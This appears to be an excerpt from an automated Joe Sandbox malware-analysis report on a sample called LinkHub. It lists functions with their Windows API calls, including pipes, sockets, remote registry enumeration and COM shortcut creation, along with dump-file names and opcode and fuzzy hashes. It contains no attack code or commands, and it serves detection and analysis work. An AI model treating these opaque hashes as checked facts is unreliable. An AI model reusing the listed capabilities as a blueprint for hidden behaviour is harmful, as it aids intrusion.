                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00E381CF
                                                                            • SysAllocString.OLEAUT32(00000000), ref: 00E381D2
                                                                            • SysAllocString.OLEAUT32 ref: 00E381F3
                                                                            • SysFreeString.OLEAUT32 ref: 00E381FC
                                                                            • StringFromGUID2.OLE32(?,?,00000028), ref: 00E38216
                                                                            • SysAllocString.OLEAUT32(?), ref: 00E38224
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                                            • String ID:
                                                                            • API String ID: 3761583154-0
                                                                            • Opcode ID: a702f3156a47eee5ea8637fedca4d9730ed87cf1e28d9be9912f835909e180c9
                                                                            • Instruction ID: c1a58bce53c38d1d5e899fb17f77a57858176c5449bccd51770b11bb023d1ce0
                                                                            • Opcode Fuzzy Hash: a702f3156a47eee5ea8637fedca4d9730ed87cf1e28d9be9912f835909e180c9
                                                                            • Instruction Fuzzy Hash: 0D21A471604204BFDB149BA9EC88DAB7BECEB09364B408125F915EB1A0DEB0ED41C764
                                                                            Function 00E40E79 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetStdHandle.KERNEL32(0000000C), ref: 00E40E99
                                                                            • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00E40ED5
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CreateHandlePipe
                                                                            • String ID: nul
                                                                            • API String ID: 1424370930-2873401336
                                                                            • Opcode ID: b6c86473ab24c806b49944c41ab9037e602fdd5dbc3591dc854b2c1037ab840b
                                                                            • Instruction ID: 0af70b7d1507ae8be6e4a4e4f6575481ae06a9558e14f381a0268ae2b7886738
                                                                            • Opcode Fuzzy Hash: b6c86473ab24c806b49944c41ab9037e602fdd5dbc3591dc854b2c1037ab840b
                                                                            • Instruction Fuzzy Hash: 1B215170604309AFDB308F26EC04A9A77A8AF54764F204A39FDA5F72D0D7709854CB50
                                                                            Function 00E40F4E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetStdHandle.KERNEL32(000000F6), ref: 00E40F6D
                                                                            • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00E40FA8
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CreateHandlePipe
                                                                            • String ID: nul
                                                                            • API String ID: 1424370930-2873401336
                                                                            • Opcode ID: 73fa422f344a69e77eaad67da28ff5d1522782b0af62a12d75fd791d86445b0c
                                                                            • Instruction ID: 48d380d78c98e86826a15d639e662e921bee28f368f787c7b03c44c1c04ddd3b
                                                                            • Opcode Fuzzy Hash: 73fa422f344a69e77eaad67da28ff5d1522782b0af62a12d75fd791d86445b0c
                                                                            • Instruction Fuzzy Hash: D421B231A043459FDF308F69AC04A9A77E8BF55764F200B29F9A1F32D0D7B1A884DB50
                                                                            Function 00E64B4B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD7873: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00DD78B1
                                                                              • Part of subcall function 00DD7873: GetStockObject.GDI32(00000011), ref: 00DD78C5
                                                                              • Part of subcall function 00DD7873: SendMessageW.USER32(00000000,00000030,00000000), ref: 00DD78CF
                                                                            • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00E64BB0
                                                                            • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00E64BBD
                                                                            • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00E64BC8
                                                                            • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00E64BD7
                                                                            • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00E64BE3
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$CreateObjectStockWindow
                                                                            • String ID: Msctls_Progress32
                                                                            • API String ID: 1025951953-3636473452
                                                                            • Opcode ID: 9e3e49586362cd2bb1414a5e4bc153790cb3803223f43441d106d0e426adc6f3
                                                                            • Instruction ID: c757e1fb28c8bd5e6661380a1e49352340e012d9d613307861ca1bea96b4678e
                                                                            • Opcode Fuzzy Hash: 9e3e49586362cd2bb1414a5e4bc153790cb3803223f43441d106d0e426adc6f3
                                                                            • Instruction Fuzzy Hash: 411193B2540219BEEF118E65DC85EE77F9DEF09798F015111F608B20A0CA71DC219BA4
                                                                            Function 00E36078 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _memcmp
                                                                            • String ID: j`
                                                                            • API String ID: 2931989736-1521845545
                                                                            • Opcode ID: a1b9d7d7dede799ffb686cd0ca619c03439070ee474ef68aeee9d8c8d1e872be
                                                                            • Instruction ID: 4243cc26ed48631f013b5e256e4cc5c07d20f6bf65d13e4e224659cb0970528c
                                                                            • Opcode Fuzzy Hash: a1b9d7d7dede799ffb686cd0ca619c03439070ee474ef68aeee9d8c8d1e872be
                                                                            • Instruction Fuzzy Hash: 330152A560070AFBD62866319C47EBB775DDE5039CF05D025FE0DBA241E761EE10C6B1
                                                                            Function 00E3E30E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00E3E328
                                                                            • LoadStringW.USER32(00000000), ref: 00E3E32F
                                                                            • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00E3E345
                                                                            • LoadStringW.USER32(00000000), ref: 00E3E34C
                                                                            • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00E3E390
                                                                            Strings
                                                                            • %s (%d) : ==> %s: %s %s, xrefs: 00E3E36D
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: HandleLoadModuleString$Message
                                                                            • String ID: %s (%d) : ==> %s: %s %s
                                                                            • API String ID: 4072794657-3128320259
                                                                            • Opcode ID: f148f077a1dc626eafaa49e33ba83a946364b7b23c52c64b091b04a9460e1af1
                                                                            • Instruction ID: e4cd859b916a020a52758d7ad7a6ddc72fab50c751cb5f29dfefab946c71c715
                                                                            • Opcode Fuzzy Hash: f148f077a1dc626eafaa49e33ba83a946364b7b23c52c64b091b04a9460e1af1
                                                                            • Instruction Fuzzy Hash: 9C014FF2A04208BFE71197A5DD89EEB776CD708340F404591F746F6041E6B49E888B71
                                                                            Function 00E41312 Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • InterlockedExchange.KERNEL32(?,?), ref: 00E41322
                                                                            • EnterCriticalSection.KERNEL32(00000000,?), ref: 00E41334
                                                                            • TerminateThread.KERNEL32(00000000,000001F6), ref: 00E41342
                                                                            • WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00E41350
                                                                            • CloseHandle.KERNEL32(00000000), ref: 00E4135F
                                                                            • InterlockedExchange.KERNEL32(?,000001F6), ref: 00E4136F
                                                                            • LeaveCriticalSection.KERNEL32(00000000), ref: 00E41376
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                                            • String ID:
                                                                            • API String ID: 3495660284-0
                                                                            • Opcode ID: 7f1cdc03a4333568e6b62d603302565288310fac3e6b03f621a1b4001beb3c92
                                                                            • Instruction ID: 40f303b909196d5ae4ba1910a05500e6a1359eed9c12e94d1d046a8979d2def0
                                                                            • Opcode Fuzzy Hash: 7f1cdc03a4333568e6b62d603302565288310fac3e6b03f621a1b4001beb3c92
                                                                            • Instruction Fuzzy Hash: D0F01932646602AFD7411F55FE49BC6BB39BF05746F802021F101A18B087B4A4A8CF90
                                                                            Function 00E526BD Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • __WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00E5281D
                                                                            • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00E5283E
                                                                            • WSAGetLastError.WSOCK32 ref: 00E5284F
                                                                            • htons.WSOCK32(?,?,?,?,?), ref: 00E52938
                                                                            • inet_ntoa.WSOCK32(?), ref: 00E528E9
                                                                              • Part of subcall function 00E3433E: _strlen.LIBCMT ref: 00E34348
                                                                              • Part of subcall function 00E53C81: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,00E4F669), ref: 00E53C9D
                                                                            • _strlen.LIBCMT ref: 00E52992
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
                                                                            • String ID:
                                                                            • API String ID: 3203458085-0
                                                                            • Opcode ID: b5b0d10cd95a192a51f095966002bbf5bfb868ff6fc5235acadcdfea4c805a2e
                                                                            • Instruction ID: 4803d6a3a13c69c324897332e4c9ec786c838d672c42fab4a9ed7b45cca466af
                                                                            • Opcode Fuzzy Hash: b5b0d10cd95a192a51f095966002bbf5bfb868ff6fc5235acadcdfea4c805a2e
                                                                            • Instruction Fuzzy Hash: B3B1E431604300AFD324DF24C885E2AB7E5EF89318F54994DF9565B3A2DB31ED49CBA1
                                                                            Function 00E00527 Relevance: 9.3, APIs: 6, Instructions: 269COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • __allrem.LIBCMT ref: 00E0042A
                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E00446
                                                                            • __allrem.LIBCMT ref: 00E0045D
                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E0047B
                                                                            • __allrem.LIBCMT ref: 00E00492
                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E004B0
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                                                            • String ID:
                                                                            • API String ID: 1992179935-0
                                                                            • Opcode ID: 675459f4f124bd2af17bf05e9c9e87198950a75667ee82f7844c946ca9c63f73
                                                                            • Instruction ID: cb0a672d1bdb306e637fe5b9b1ebf090b2b6effe0d0fc438157398802e4911fd
                                                                            • Opcode Fuzzy Hash: 675459f4f124bd2af17bf05e9c9e87198950a75667ee82f7844c946ca9c63f73
                                                                            • Instruction Fuzzy Hash: E3811A71600B069BD725AF68CC81BAE73E9EF54324F24612EF661F72C1EB74D9808B54
                                                                            Function 00E06571 Relevance: 9.2, APIs: 6, Instructions: 216COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00DF8649,00DF8649,?,?,?,00E067C2,00000001,00000001,8BE85006), ref: 00E065CB
                                                                            • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00E067C2,00000001,00000001,8BE85006,?,?,?), ref: 00E06651
                                                                            • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00E0674B
                                                                            • __freea.LIBCMT ref: 00E06758
                                                                              • Part of subcall function 00E03B93: RtlAllocateHeap.NTDLL(00000000,?,?,?,00DF0165,?,?,00E411D9,0000FFFF), ref: 00E03BC5
                                                                            • __freea.LIBCMT ref: 00E06761
                                                                            • __freea.LIBCMT ref: 00E06786
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ByteCharMultiWide__freea$AllocateHeap
                                                                            • String ID:
                                                                            • API String ID: 1414292761-0
                                                                            • Opcode ID: 043c3413a71f93103f620ac534a9e5f897f23dd53d5434a45c20a20cc913134e
                                                                            • Instruction ID: 26898ac99e6f9455cd098db82646cb6856f4023a5536c9ab7d9053383bf4bb98
                                                                            • Opcode Fuzzy Hash: 043c3413a71f93103f620ac534a9e5f897f23dd53d5434a45c20a20cc913134e
                                                                            • Instruction Fuzzy Hash: A5510872600216AFDB244F64CC41FBB77A9EB40758F18566AFC04F61C0EB75DDE086A0
                                                                            Function 00E5C63B Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                              • Part of subcall function 00E5D3F8: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E5C10E,?,?), ref: 00E5D415
                                                                              • Part of subcall function 00E5D3F8: _wcslen.LIBCMT ref: 00E5D451
                                                                              • Part of subcall function 00E5D3F8: _wcslen.LIBCMT ref: 00E5D4C8
                                                                              • Part of subcall function 00E5D3F8: _wcslen.LIBCMT ref: 00E5D4FE
                                                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E5C72A
                                                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00E5C785
                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 00E5C7CA
                                                                            • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00E5C7F9
                                                                            • RegCloseKey.ADVAPI32(?,?,00000000), ref: 00E5C853
                                                                            • RegCloseKey.ADVAPI32(?), ref: 00E5C85F
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
                                                                            • String ID:
                                                                            • API String ID: 1120388591-0
                                                                            • Opcode ID: d93ee53502b659070c7469f954a78cb6c3e0d0a672119540124e881116b84ff4
                                                                            • Instruction ID: bce3ec5e3baa45600db691c3543a2ca38b156b53005eb4472b7605f53933364d
                                                                            • Opcode Fuzzy Hash: d93ee53502b659070c7469f954a78cb6c3e0d0a672119540124e881116b84ff4
                                                                            • Instruction Fuzzy Hash: 9E818F30208341AFC714DF24C895E2ABBE5FF88308F14999DF4595B292DB31ED49CBA1
                                                                            Function 00E3009D Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • VariantInit.OLEAUT32(00000035), ref: 00E300A9
                                                                            • SysAllocString.OLEAUT32(00000000), ref: 00E30150
                                                                            • VariantCopy.OLEAUT32(00E30354,00000000), ref: 00E30179
                                                                            • VariantClear.OLEAUT32(00E30354), ref: 00E3019D
                                                                            • VariantCopy.OLEAUT32(00E30354,00000000), ref: 00E301A1
                                                                            • VariantClear.OLEAUT32(?), ref: 00E301AB
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Variant$ClearCopy$AllocInitString
                                                                            • String ID:
                                                                            • API String ID: 3859894641-0
                                                                            • Opcode ID: 86dc548c8573a641cf43d5c3f381ccf9dcb9b328cda27ff631f5ae7580104876
                                                                            • Instruction ID: 9c470ca6b588545db3b30313ada95d137533d43711cd750d2d801729d92d80b0
                                                                            • Opcode Fuzzy Hash: 86dc548c8573a641cf43d5c3f381ccf9dcb9b328cda27ff631f5ae7580104876
                                                                            • Instruction Fuzzy Hash: 2D510B35600310EACF64AB6498AD76ABBE5EF45310F14A447F905FF2A7DB709C44CB61
                                                                            Function 00E46ED3 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • _wcslen.LIBCMT ref: 00E46F21
                                                                            • CoInitialize.OLE32(00000000), ref: 00E4707E
                                                                            • CoCreateInstance.OLE32(00E70CC4,00000000,00000001,00E70B34,?), ref: 00E47095
                                                                            • CoUninitialize.OLE32 ref: 00E47319
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                            • String ID: .lnk
                                                                            • API String ID: 886957087-24824748
                                                                            • Opcode ID: 0e93d91dfee998d5e75a52970583851b6d77685e1c64d77d81170aa2cccaa0b8
                                                                            • Instruction ID: 769219ebb75f27f65d956ab393abdc7e5103feaa9bb5f2c6db16a15d439e3dcd
                                                                            • Opcode Fuzzy Hash: 0e93d91dfee998d5e75a52970583851b6d77685e1c64d77d81170aa2cccaa0b8
                                                                            • Instruction Fuzzy Hash: 44D13971608201AFC304EF24D881D6BB7E8EF95708F50495EF5869B262DB71ED09CBA2
                                                                            Function 00E68C36 Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,00E2FBEF,00000000,?,?,00000000,?,00E139E2,00000004,00000000,00000000), ref: 00E68CA7
                                                                            • EnableWindow.USER32(?,00000000), ref: 00E68CCD
                                                                            • ShowWindow.USER32(FFFFFFFF,00000000), ref: 00E68D2C
                                                                            • ShowWindow.USER32(?,00000004), ref: 00E68D40
                                                                            • EnableWindow.USER32(?,00000001), ref: 00E68D66
                                                                            • SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00E68D8A
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$Show$Enable$MessageSend
                                                                            • String ID:
                                                                            • API String ID: 642888154-0
                                                                            • Opcode ID: 4e28f40fec6b70b89a493c81f994e62c5e65ca498f5213aae24f1d7cf28beb2c
                                                                            • Instruction ID: 713b07f5f74769f2ae6255b921c243e9cde118b9d7b6b309a5f9e12dda5d882d
                                                                            • Opcode Fuzzy Hash: 4e28f40fec6b70b89a493c81f994e62c5e65ca498f5213aae24f1d7cf28beb2c
                                                                            • Instruction Fuzzy Hash: 9A412E307412449FDB25CF24EA95FA27BF0FB49748F1412A9EA087B1B2C7716849CB61
